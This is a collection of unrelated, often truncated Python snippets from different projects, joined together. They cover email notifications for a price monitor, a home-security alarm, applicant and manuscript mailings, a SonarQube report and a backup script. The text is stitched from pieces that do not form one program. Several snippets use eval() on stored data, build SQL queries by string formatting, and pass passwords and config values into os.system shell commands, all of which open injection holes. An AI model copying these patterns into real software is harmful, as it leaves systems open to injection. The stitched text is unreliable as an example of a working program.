group_name = self.db.hget("progame_to_group",G_Name) dict = eval(self.db.hget(group_name, G_Name)) dict["count"] = dict["count"] + 1 ico ='<img src="/static/image/blue.png" width="30" height="30" style="color: rgb(255, 140, 60); font-size: 27px;">' dict["config"] = [ select_result, ico ,time.time(),self.current_user] self.db.hset(group_name, G_Name, str(dict)) self.write(G_Name)
def _send_app_code_school(self): message = "Dear %s!\n\nYour Application code: %s\nAssigned school: %s\n\nFarewell" \ % (self.first_name + ' ' + self.last_name, self.application_code, self.school.location) Mail.send(message, self.email, 'Application details')
def _send_interview_slot_email(self, mentors): message = "Dear %s!\n\nYour interview's time: %s\nAssigned mentors: %s, %s\n\n See you soon!" \ % (self.first_name + ' ' + self.last_name, self.interview_slot.start, mentors[0].first_name + ' ' + mentors[0].last_name, mentors[1].first_name + ' ' + mentors[1].last_name) Mail.send(message, self.email, 'Interview time')
class Monitor: def __init__(self, email='', rate=60, note=60 * 60): config='config.cfg' cfg = configparser.ConfigParser() parentDirPath=os.path.dirname(os.path.abspath(__file__)) path=parentDirPath+'/config/'+config cfg.read(path) self.option = cfg.get('select', 'option') self.scheduler = sched.scheduler(time.time, time.sleep) self.goods_dict = {} self.db = DB() self.crawl = Crawl() self.mail = Mail() self.ding = Dingding() self.email = [email] # 电子邮箱 self.rate = rate # 刷新频率 self.note = note # 通知频率 # 加载数据 result = self.db.query() print('----------加载数据----------') for id, item in result.items(): self.goods_dict[id] = Goods(item['id'], item['want'], item['status'], item['dname']) print(self.goods_dict[id].__dict__) print('----------加载完成----------') # 添加商品 def add(self, id, want, status=True, dname=''): if id not in self.goods_dict.keys(): self.db.add(id, want, status, dname) goods = Goods(id, want, status, dname) name, price, date = self.crawl.get(id) goods.update(name, price, date) self.goods_dict[id] = goods print(self.goods_dict[id].__dict__) return True else: return False # 删除商品 def remove(self, id): if id in self.goods_dict.keys(): self.goods_dict.pop(id) self.db.delete(id) return True else: return False # 更新期望价格 def update_want(self, id, want): if id in self.goods_dict.keys(): self.goods_dict[id].update_want(want) self.goods_dict[id].update_note(0) # 刷新通知时间 self.db.update_want(id, want) return True else: return False # 更新运行状态 def update_status(self, id, status): if id in self.goods_dict.keys(): self.goods_dict[id].update_status(status) self.goods_dict[id].update_note(0) # 刷新通知时间 self.db.update_status(id, status) return True else: return False # 获取历史价格 def history(self, id): if id in self.goods_dict.keys(): return self.crawl.get_history(id) else: return '' # 定时任务 def task(self): ids = list(self.goods_dict.keys()) for id in ids: goods = self.goods_dict[id] if goods.status: name, price, date = self.crawl.get(id) if id not in self.goods_dict.keys(): continue # 防止商品已经删除 goods.update(name, price, date) ########## 检查是否符合发送条件 ########## # 满足通知间隔时间 & 当前价格小于期望价格 if (date - goods.note >= self.note) and (price <= goods.want): if (self.option == 'mail'): print('邮件发送') self.mail.send(self.email, name, price, goods.want, goods.url) else: print('钉钉发送') self.ding.send(name, price, goods.want, goods.url) goods.update_note(date) print('----------刷新数据----------') for goods in self.goods_dict.values(): print(goods.__dict__) print('----------刷新完成----------') # 定时器 def _run(self): self.scheduler.enter(self.rate, 0, self._run, ()) # delay, priority, action, argument=() self.task() # 定时器 def run(self): self.scheduler.enter(0, 0, self._run, ()) # delay, priority, action, argument=() self.scheduler.run()
# -*- coding: utf-8 -*- from config import User_name,Password,Send_email,To,From,Email_password,Smtpserver,SMTPPort #from WeiBo import Weibo from movieFactory import Douban_info,BucketList,NewMovie from mail import Mail from fuck_login import * if __name__ == '__main__': new = NewMovie().update() session, uid = login(User_name,Password) for i in new: text = Douban_info(i).info() print(text) #Weibo(User_name,Password).sendWeibo(text) sendWeibo(text,session,uid) if Send_email: downloads = BucketList().refresh() model_t = '' for k in downloads: model_t += 'Movie: %s\ndown_urls: %s\n\n'%(k,downloads[k]) if model_t: m = Mail(To,From,Email_password,Smtpserver,SMTPPort) m.make_message(model_t) m.send()
def motionDetected(self, idDevice, code): con = "" result = 0 try: con = mdb.connect(myconfig.urlDb, myconfig.userDb, myconfig.passDb, myconfig.nameDb, charset = "utf8") cur = con.cursor(mdb.cursors.DictCursor) consulta = myconfig.selectLocationSecurity % (idDevice, code) cur.execute(consulta) row = cur.fetchone() if int(row['RIPMotion']) == 1: #Detector de movimiento activado if int(row['security']) == 1: #Seguridad activada if int(row['alarm']) == 0: #Alarma aun no activada #Actualizamos el estado del dispositivo a alarma consulta = myconfig.updateAlarm % ("1", idDevice) cur.execute(consulta) con.commit() #Introducimos la alerta en el registro de alertas consulta = myconfig.insertAlert % ("2", idDevice) cur.execute(consulta) con.commit() #Obtenemos los dispositivos camara de esa ubicacion consulta = myconfig.selectDevicesLocationOpenPortCameras % (row['idLocation']) cur.execute(consulta) cameras = cur.fetchall() subject = u"Domotics Alerta seguridad %s" % (row['nameLocation']) message = u"Hola %s.\n\nTu dispositivo %s ha dectado movimiento en su %s.\n\n" % (row['nameUser'], row['nameDevice'], row['nameLocation']) photos = [] if len(cameras) > 0: message +=u"Adjuntamos imágenes de sus cámaras de seguridad:\n" for camera in cameras: try: resultPhoto = self.getImageForDeviceCamera(camera['publicIp'], camera['port'], camera['code']) photos.append(resultPhoto) message+=u"%s\n"%(camera['name']) except: pass message+=u"\nAtentamente Domotics.\n\n" m = Mail() m.send(row['email'], subject, message, photos) #Notificamos a los dispositivos la alerta consulta = myconfig.selectDevicesLocationOpenPort % (row['idLocation']) cur.execute(consulta) devices = cur.fetchall() for device in devices: try: #Actualizamos el estado del dispositivo a alarma consulta = myconfig.updateAlarm % ("1", device['id']) cur.execute(consulta) con.commit() self.setDeviceAlarmMode(device['publicIp'], device['port'], device['code']) except: pass #Notificamos a los dispositivos de otras ubicaciones la alerta consulta = myconfig.selectDevicesOtherLocationOpenPort % (row['idLocation']) cur.execute(consulta) devicesOtherLocation = cur.fetchall() for device in devicesOtherLocation: try: self.setDeviceOtherLocationNotification(device['publicIp'], device['port'], device['code']) except: pass result = 1 else: #Comprobamos duplicados consulta = myconfig.checkInsertAlert % ("1", idDevice) cur.execute(consulta) row = cur.fetchone() if not row: #Si no existe duplicado insertamos en BBDD consulta = myconfig.insertAlert % ("1", idDevice) cur.execute(consulta) con.commit() #print "Seguridad ya activada" else: #Comprobamos duplicados consulta = myconfig.checkInsertAlert % ("0", idDevice) cur.execute(consulta) row = cur.fetchone() if not row: #Si no existe duplicado insertamos en BBDD consulta = myconfig.insertAlert % ("0", idDevice) cur.execute(consulta) con.commit() #print "Seguridad desactivada" except mdb.Error, e: #print "Error %d: %s" % (e.args[0],e.args[1]) if con: con.rollback()
with open(database, 'r') as f: for num in f: sent.append(num.strip()) return set(sent) press = get_press() # get article # of articles in press sent = get_sent('sent.txt') # get article # of sent e-mails to_send = press.difference(sent) # difference of sets are the e-mails to send infodb = {} # table of article # and e-mails with open('list_mail.txt', 'r') as input_file: next(input_file) for line in input_file: line = line.strip() info = line.split('\t') infodb[info[0][0:12]] = (info[1], info[2], info[3]) for artcod in to_send: manuscript = Manuscript(artcod) if (infodb[artcod][2] == 'Brazil'): language = 'pt' else: language = 'en' auth_info = [infodb[artcod][0], 'n', language, infodb[artcod][1].lower()] author = Author(auth_info) mail = Mail(author, manuscript) mail.send() print '%s: e-mail enviado para %s' % (artcod, infodb[artcod][1].lower()) with open('sent.txt', 'a') as sent: # write in sent.txt the article # of sent for artcod in to_send: sent.write(artcod) sent.write('\n') print 'Finished!'
def signIn(self, login, name, email, password): con = "" result = 0 try: con = mdb.connect(myconfig.urlDb, myconfig.userDb, myconfig.passDb, myconfig.nameDb, charset = "utf8") cur = con.cursor(mdb.cursors.DictCursor) consulta = myconfig.selectMailExists % (email) cur.execute(consulta) response = cur.fetchone() if response == None: consulta = myconfig.selectUserExists % (login) cur.execute(consulta) response = cur.fetchone() if response == None: code = randint(100000,999999) text = "Ya casi estas registrado en Domotics.\nPara completar el codigo de verificacion de tu registro es %s.\n\nEquipo de Domotics" % (code) m = Mail() m.send(email, "Registro Domotics", text, []) consulta = myconfig.insertSignIn % (login, name, email, password, code) cur.execute(consulta) con.commit() result = 1 else: result = 2 #Re-Send Code and update else: consulta = myconfig.selectMailExistsWithoutCheck % (email) cur.execute(consulta) response = cur.fetchone() if response == None: result = 3 else: consulta = myconfig.selectUserExistsCheck % (login) cur.execute(consulta) response = cur.fetchone() if response == None: code = randint(100000,999999) text = "Ya casi estas registrado en Domotics.\nPara completar el codigo de verificacion de tu registro es %s.\n\nEquipo de Domotics" % (code) m = Mail() m.send(email, "Registro Domotics", text, []) consulta = myconfig.updateSignIn % (login, name, password, code, email) cur.execute(consulta) con.commit() result = 1 else: result = 2 except mdb.Error, e: #print "Error %d: %s" % (e.args[0],e.args[1]) if con: con.rollback()
def send_mail(usr='******', pwd='xxxxxxxx', smtp = 'smtp.qq.com', smtp_port = 587,to_addr = ['*****@*****.**'],text='Hello'): mail = Mail(usr,pwd,smtp,smtp_port) text_type_dict_list=[{'text':'Hello,dear!','type':'plain'}] text_type_dict_list[0]['text'] = text mail.send(to_addr,text_type_dict_list=text_type_dict_list)
{'status': '警告', 'metrics': [{'status': 'WARN', 'metricKey': 'reliability_rating', 'comparator': 'GT', 'warningThreshold': '2', 'errorThreshold': '3', 'actualValue': '3'}]} ''' if not self.login_status: self.login() if not self.login_status: print('*** Login failure ***') exit(1) status = self.project_status(project['key']) if status['status'] != '正常': text = '\n'.join([metric['metricKey'] + ': ' + metric['status'] for metric in status['metrics']]) project_url = url + 'dashboard?id=' + project['key'] body = '项目: %s\n状态: %s\n\n<异常指标>\n' % ( project['name'], status['status']) + text + '\n\n项目地址: ' + project_url status['body'] = body print(body) return status if __name__ == '__main__': sonar = Sonar() mail = Mail() for project in projects: notice = sonar.notice(project) print(project['name'] + ': ' + notice['status']) if notice['status'] != '正常': mail.send(project['name'], project['to'], project['cc'], notice)
def invite(self, email): m = Mail(email) t = TmpTable() r = t._api.set(email) return m.send('ni hao ma', 'invite', r[1])
def main(): main_file_exec_path = os.path.realpath(sys.argv[0]) working_dir = os.path.dirname(main_file_exec_path) config_file = working_dir + "/config/noe/noe.conf" config = Config(config_file) backup = Backup() mount = Mount() command_exec = Services() log = Log() mail = Mail() sections = config.get_sections_config() log_file = log.get_log_file() os.system("echo > {0}".format(log_file)) local_sync_onedrive_flag = 0 send_file_onedrive_flag = 0 log.log("Iniciando backup") config.set_enable_stop_services('DEFAULT', 'enable_stop_services') config.set_command_stop('DEFAULT', 'command_services_stop') config.set_command_start('DEFAULT', 'command_services_start') config.set_server_name('DEFAULT', 'server_name') enable_stop_services = config.get_enable_stop_services() command_stop = config.get_command_stop().split(',') command_start = config.get_command_start().split(',') if enable_stop_services == "yes": log.log("Parando serviços") for command in command_stop: command_exec.stop_service(command) for section in sections: if section == 'DEFAULT': continue log.log("Executando backup: " + section) config.set_type_config(section, 'type_backup') config.set_folder_config(section, 'folder_backup') config.set_folder_dest_config(section, 'folder_dest') config.set_time_keep(section, 'time_keep') config.set_remote_share_config(section, 'remote_share') config.set_host_config(section, 'host') config.set_user_config(section, 'user') config.set_password_config(section, 'password') config.set_database(section, 'database') config.set_bucket_name_config(section, 'bucket_name') config.set_access_key_config(section, 'access_key') config.set_secret_access_key(section, 'secret_access_key') config.set_file_name_config(section, date.today()) config.set_exclude_list_file(section, 'exclude_list_file') type_backup = config.get_type_config() folder_backup = config.get_folder_config() folder_dest = config.get_folder_dest_config() time_keep = config.get_time_keep() remote_share = config.get_remote_share_config() host = config.get_host_config() user = config.get_user_config() password = config.get_password_config() database = config.get_database() bucket_name = config.get_bucket_name_config() access_key = config.get_access_key_config() secret_access_key = config.get_secret_access_key() filename = config.get_file_name_config() exclude_list_file = config.get_exclude_list_file() if not os.path.isdir(folder_dest): os.mkdir(folder_dest) os.system("tmpreaper {0} {1}".format(time_keep, folder_dest)) if type_backup == "local": log.log("Backup do tipo local") log.log("Executando cópia e compressão dos arquivos") backup.run(exclude_list_file, folder_dest, filename, folder_backup) log.log("Fim do backup " + section) elif type_backup == "local-sync-onedrive": log.log("Backup do tipo local-sync-onedrive") log.log("Executando a cópia e compressão dos arquivos") backup.run(exclude_list_file, folder_dest, filename, folder_backup) log.log("Fim do backup " + section) local_sync_onedrive_flag = 1 elif type_backup == "send-file-onedrive": log.log("Backup do tipo send-file-onedrive") backup.run(exclude_list_file, folder_dest, filename, folder_backup) log.log("Fim do backup " + section) send_file_onedrive_flag = 1 elif type_backup == "samba": log.log("Executando backup do tipo samba") log.log("Montando compartilhamento") mount.mountSamba(host, remote_share, folder_dest, user, password) log.log("Executando cópia e compressão dos arquivos") backup.run(exclude_list_file, folder_dest, filename, folder_backup) log.log("Fim do backup " + section) log.log("Desmontando compartilhamento") mount.umount(folder_dest) elif type_backup == "bucket": tmp_file = "/tmp/.passwd-s3fs" log.log("Montando o bucket") mount.mountBucket(access_key, secret_access_key, tmp_file, bucket_name, folder_dest) log.log("Executando a cópia e compactação dos arquivos") backup.run(exclude_list_file, folder_dest, filename, folder_backup) log.log("Demontando bucket") mount.umount(folder_dest) elif type_backup == "mysql": log.log("Executando backup do banco de dados") os.system("mysqldump -u {0} -p{1} {2} -h {3} > {4}/{5}.sql".format( user, password, database, host, folder_dest, filename )) os.system("tar -zcvf {0}/{1}.tar.gz {0}/{1}.sql".format(folder_dest, filename)) os.system("rm {0}/{1}.sql".format(folder_dest, filename)) log.log("Backup do banco de dados concluído") else: print("Tipo de backup não válido") if enable_stop_services == "yes": log.log("Subindo serviços") for command in command_start: command_exec.start_service(command) if local_sync_onedrive_flag == 1: log.log("Sincronizando pasta de backup com a nuvem") folder_sync_onedrive = os.path.basename(folder_dest) os.system("onedrive --synchronize --upload-only --no-remote-delete") os.system("onedrive --synchronize --single-directory '{0}'".format(folder_sync_onedrive)) log.log("Envio concluído") elif send_file_onedrive_flag == 1: log.log("Enviando backup via upload para o onedrive") os.system("onedrive --synchronize --upload-only --no-remote-delete") log.log("Envio concluído") config.set_mail_address('DEFAULT', 'mail_address') mail_address = config.get_mail_address() server_name = config.get_server_name() if mail_address: log.log("Enviando E-mail") mail.send("Backup NOE - {0}".format(server_name), mail_address)